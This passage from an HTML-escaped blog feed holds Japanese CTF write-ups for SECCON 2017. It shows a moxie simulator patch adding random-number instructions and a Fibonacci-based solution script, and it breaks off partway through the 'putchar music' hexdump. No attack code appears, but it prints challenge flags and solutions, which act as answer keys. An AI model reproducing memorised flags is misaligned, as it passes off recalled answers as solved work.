&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;***&lt;/span&gt; &lt;span class="mi"&gt;660&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;667&lt;/span&gt; &lt;span class="o"&gt;****&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;asregs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;opc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;opcode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="mi"&gt;661&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;691&lt;/span&gt; &lt;span class="o"&gt;----&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;asregs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;setrseed&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;unsigned&lt;/span&gt; &lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="n"&gt;av&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;asregs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;av&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;a = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="s2"&gt;, av = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="s2"&gt;, seed = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;av&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;MOXIE_TRACE_INSN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;setrseed&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;getrand&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;a = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="s2"&gt;, seed = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="s2"&gt;, &amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;xorshift32&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;newseed = &lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;MOXIE_TRACE_INSN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;getrand&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;asregs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/*&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;opc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;opcode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc494&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;toolchain&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gdb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;7.12&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sim&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;moxie&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;修正したソースを使ってビルドしたmoxie仮想CPUシミュレータで実行してみると、&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;~/cross-gcc494/build/gdb/moxie-elf/sim/moxie$ ./run ~/runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = 00000002, av = 92d68ca2, seed = 92d68ca2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This program uses special instructions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SETRSEED: (Opcode:0x16)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RegA -&amp;gt; SEED
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GETRAND: (Opcode:0x17)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xorshift32(SEED) -&amp;gt; SEED
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SEED -&amp;gt; RegA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = 00000002, seed = 92d68ca2, newseed = 35c36d03
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = 00000002, seed = 35c36d03, newseed = c8fa2132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = 00000002, seed = f63e5c0a, newseed = bcd582d5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = 00000002, seed = bcd582d5, newseed = 9ec62492
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SECCON{MakeSpecialInstructions}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;~/cross-gcc494/build/gdb/moxie-elf/sim/moxie$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;無事フラグがでてきました。&lt;/p&gt;
&lt;h2 id="総評"&gt;総評
&lt;/h2&gt;&lt;p&gt;今回は２問ということでたいしたことはできませんでしたが、大好きな「大熱血！アセンブラ入門」本に関係する問題がでたので、これだけは必ず解くぞという感じで取り組んでみました。仮想CPUに触れるよい機会になりましたし、久しぶりに大規模なビルドをすることもできました。&lt;/p&gt;
&lt;p&gt;関係者の皆様ありがとうございました。&lt;/p&gt;
&lt;p&gt;また次回もよろしくお願いします。&lt;/p&gt;</description></item><item><title>SECCON 2017 Online CTF のWrite-upをまとめました</title><link>https://kanpapa.com/2017/12/seccon-ctf-2017-online-write-up.html</link><pubDate>Sun, 10 Dec 2017 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2017/12/seccon-ctf-2017-online-write-up.html</guid><description>&lt;img src="https://kanpapa.com/2017/12/seccon-ctf-2017-online-write-up/images/seccon-ctf-2017-1.png" alt="Featured image of post SECCON 2017 Online CTF のWrite-upをまとめました" /&gt;&lt;p&gt;SECCON 2017 オンラインCTFに参加しました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up.html" title="SECCON CTF 2016"
 target="_blank" rel="noopener"
 &gt;去年のCTF&lt;/a&gt;と同様一人チームでのんびり取り組みましたが、今回はなんと300点問題が解けました！&lt;/p&gt;
&lt;p&gt;解いた問題は５つで、合計で700点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Run me! (Programming) 100点 826人が回答&lt;/li&gt;
&lt;li&gt;putchar music (Programming) 100点 429人が回答&lt;/li&gt;
&lt;li&gt;SHA-1 is dead (Crypto) 100点 453人が回答&lt;/li&gt;
&lt;li&gt;z80 (Binary) 300点 18人が回答&lt;/li&gt;
&lt;li&gt;Thank you for playing! (Thank you!) 100点 830人が回答&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;忘れないうちにWrite-upを書いておきました。&lt;/p&gt;
&lt;h2 id="run-meprogramming-100点"&gt;Run me!(Programming) 100点
&lt;/h2&gt;&lt;p&gt;問題のpythonプログラムをみると、かなり深い再帰を行うプログラムのようです。このまま実行しても終わりません。&lt;/p&gt;
&lt;p&gt;まずはプログラムの動きを確認するために最初の呼び出し元であるf(11010)の引数を変えて実行してみたところ、以下のような値になりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 = 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2 = 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3 = 2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4 = 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5 = 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6 = 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7 = 13
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8 = 21
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9 = 34
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10 = 55
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;11 = 89
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12 = 144
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;13 = 233
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;14 = 377
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これを関数に置き換えてみると、以下のような展開になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(0) = 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(1) = 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(2) = f(2-2) + f(2-1) = f(0) + f(1) = 0 + 1 = 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(3) = f(3-2) + f(3-1) = f(1) + f(2) = 1 + 1 = 2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(4) = f(4-2) + f(4-1) = f(2) + f(3) = 1 + 2 = 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f(5) = f(5-2) + f(5-1) = f(3) + f(4) = 2 + 3 = 5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ということは、ループにしてf(n)の値を配列に保存して、その値を順次使って計算すれば良さそうです。&lt;/p&gt;
&lt;p&gt;pythonで作成したプログラムは以下のようになりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat RunMe3.py 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f = [0, 1, 1]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;n = 3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while True:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f.append(f[n-2] + f[n-1])
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; n += 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if n &amp;gt;= 11012:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print &amp;#34;SECCON{&amp;#34; + str(f[11011])[:32] + &amp;#34;}&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python RunMe3.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SECCON{65076140832331717667772761541872}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="putchar-musicprogramming-100点"&gt;putchar music(Programming) 100点
&lt;/h2&gt;&lt;p&gt;まずは問題のプログラムをコンパイルしました。標準出力にデータがでてくるようなので、ファイルに出力しましたがかなり巨大だったので途中で中断しました。生成されたファイルは単なるデータのようです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ls -l output.bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw-r-- 1 ocha ocha 2322149376 Dec 9 23:36 output.bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file output.bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;output.bin: data
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これをバイナリダンプしてみたところ、各データの数値の前後の値がそれほど変化しておらず、なにやら連続的なアナログな数値に見えました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ hexdump output.bin | more 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000000 0805 0e0b 1310 1916 1f1c 2421 2a27 302d
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000010 3532 3b38 413e 4643 4c49 524f 5754 5d5b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000020 6361 6965 6f6b 7371 7977 7f7d 8583 8b87
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000030 918d 9593 9b99 a19f a7a5 ada9 b3af b7b7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000040 bfba c3c2 cac7 cecb d6d3 dbd6 dfde e7e2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000050 eae7 f2ef f6f3 fbfa 03fe 0706 0e0b 130f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000060 1b17 1f1b 2323 2b27 2f2b 3733 3b37 3f3f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000070 4743 4b4b 534f 5753 5b5b 635f 6767 6c6e
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000080 766f 7c75 7d7f 8784 8d86 8e8f 9495 9e97
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000090 9f9c a5a6 afac b4ad b6b7 bcbd c5be c7c5
